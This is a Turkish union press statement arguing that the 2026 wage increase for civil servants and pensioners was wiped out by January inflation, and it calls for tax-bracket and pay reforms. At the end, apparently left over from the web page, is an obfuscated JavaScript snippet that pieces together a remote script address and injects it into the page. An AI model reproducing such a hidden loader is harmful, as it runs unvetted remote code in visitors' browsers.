Sendika

Zam Verildi, İlk Ayda Geri Alındı

Memur ve emeklilerin her yılbaşında yaşadığı tablo, 2026 Ocak ayında bir kez daha tekrarlandı.

Abone Ol

Maaşlara yapılan artışlar daha cebe girmeden enflasyonla geri alındı. Yıllardır değişmeyen bu senaryo, sabit gelirliler açısından artık sürdürülemez bir noktaya ulaştı.

Maaş Artışı Enflasyonla Daha İlk Ayda Eriyor

2026 yılı maaş artışları belirlenirken, 2025 yılının ikinci yarısına ait enflasyon verileri esas alındı. Kasım ayında enflasyon yüzde 0,87, aralık ayında ise yüzde 0,89 olarak açıklandı. Bu veriler doğrultusunda memur ve emeklilerin ocak ayı maaş zammı yüzde 18,61 olarak belirlendi.

Ancak zamların uygulandığı ilk ay olan Ocak 2026’da enflasyonun yüzde 4,84 çıkmasıyla birlikte, memurun cebinden daha ilk aydan yaklaşık yüzde 4 geri alındı. Maaş artışı kâğıt üzerinde kaldı, alım gücü ise hızla eridi.

Aynı Tablo Her Yıl Tekrar Ediyor

Bu durum ilk kez yaşanmıyor. 2025 yılı maaş artışlarında da benzer bir tablo ortaya çıkmıştı. 2024 Aralık ayı enflasyonu yüzde 1,03 olarak açıklanırken, 2025 Ocak ayı enflasyonu yüzde 5,30 olmuş ve memur ile emeklinin cebinden yüzde 4,27 geri alınmıştı. Yani yıllardır aynı yöntem uygulanıyor, sonuç ise değişmiyor.

Aralıkta İndirim, Ocakta Zam Yağmuru

Aralık aylarında enflasyonu düşük göstermek amacıyla özellikle akaryakıt ürünlerinde yapılan geçici indirimler, ocak ayının ortasından itibaren yerini art arda gelen zamlara bırakıyor. 15 Ocak’tan sonra neredeyse iki günde bir yapılan fiyat artışlarını kamuoyuna kim, nasıl açıklayacak?

Enflasyon Oranında Zam, Zam Değildir

Enflasyon oranında yapılan artış bir maaş zammı değildir. Bu, yalnızca maaşın alım gücünü koruma çabasıdır. Kaldı ki açıklanan enflasyon rakamları sahadaki gerçeklerle örtüşmüyorsa, sonuç sabit gelirli kesimler için daha da ağır oluyor. Memur, emekli, işçi ve dar gelirli vatandaşlar her geçen gün fakirleşiyor.

TÜİK Verilerinin Bedelini Sabit Gelirliler Ödüyor

Sahada hissedilen fiyat artışlarıyla uyuşmayan enflasyon hesaplamalarının bedelini, aylığından başka geliri olmayan kesimler ödüyor. 2026 Ocak ayı itibarıyla memur ve emekliye yapılan yüzde 18,61’lik zammın yaklaşık yüzde 4’lük bölümü daha ilk ayda geri alınmış durumda.

Vergi Politikası Zammı Geri Alıyor

Bir yanda milyarlarca liralık vergi borçları silinen büyük şirketler dururken, memurun vergi diliminin sabitlenmemesi ve maaş artışlarının artan vergi oranlarıyla geri alınması kabul edilebilir değil. Verilen zamlar, vergi dilimleri yoluyla adeta buharlaşıyor.

Toplu Sözleşme Daha İlk Ayda Anlamsızlaştı

2026 ve 2027 yıllarını kapsayan 8. Dönem Toplu Sözleşme, yürürlüğe girdiği ilk aydan itibaren etkisini yitirmiştir. Memura, işçiye ve emekliye verilen artışlar; gıda, kira, ulaşım ve temel ihtiyaçlara gelen zamların çok gerisinde kalmıştır. Sabit ücretliler her geçen ay daha da yoksullaşmaktadır.

İlk Üç Ayda Zam Tamamen Eriyecek

Bu gidişat devam ederse, yıl başında yapılan maaş artışlarının ilk üç ayda tamamen erimesi kaçınılmazdır. Daha önce verilen 3600 ek gösterge sözü tutulmadı. Kira yardımı sözü hayata geçirilmedi. İkramiye vaatleri de gerçekleşmedi. Sorulması gereken soru açık:
1000 TL’lik seyyanen zam, bu şartlarda ne işe yarıyor?

Ek Zam Artık Zorunlu Hale Geldi

Yıllardır enflasyonun altında kalan maaş artışları, kamu çalışanlarını ve emeklileri kira ve fatura ödeyemez noktaya getirdi. Son bir yılda birçok temel gıda ürününün yüzde 100’ün üzerinde zamlandığı bir ortamda, memur ve emekliye yüzde 18,61 artış yapmak ekonomik gerçeklerle örtüşmüyor.

Vergi Dilimi Sabitlenmeli

Memura verilen zammın kısa sürede geri alınmasına neden olan vergi dilimleri yüzde 10’da sabitlenmelidir. Memur maaşı yoksulluk sınırının, asgari ücret açlık sınırının, en düşük emekli maaşı da asgari ücretin altında olamaz. Olmamalıdır.

Sendikalara ve Siyasete Açık Mesaj

Siyasetin gölgesinde hareket eden sendikalara çağrımız nettir: Alanlarda termos dağıtmakla sendikacılık yapılmaz. Tiyatroya son verin, görevinizi yapın.
Geçinemediğini söyleyen milletvekillerine de sesleniyoruz: Biz 20 bin TL ile bir ayı geçirmek zorunda bırakılıyoruz. Asıl mucizeyi biz yaratıyoruz.

“Geçim Değil, Yaşam Hakkı İstiyoruz”

Biz açlık değil, adalet istiyoruz. Geçinmeye çalışmak değil, insanca yaşamak istiyoruz. Bu mücadeleden vazgeçmeyeceğimizi bir kez daha vurguluyoruz.

Bağımsız sendikacılığın öncüsü olan BASK ve Birlik Sağlık Sen olarak hak mücadelesini kararlılıkla sürdüreceğiz.

Ahmet Doğruyol
Birlik Sağlık Sen Genel Başkanı
BASK Genel Sekreteri

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }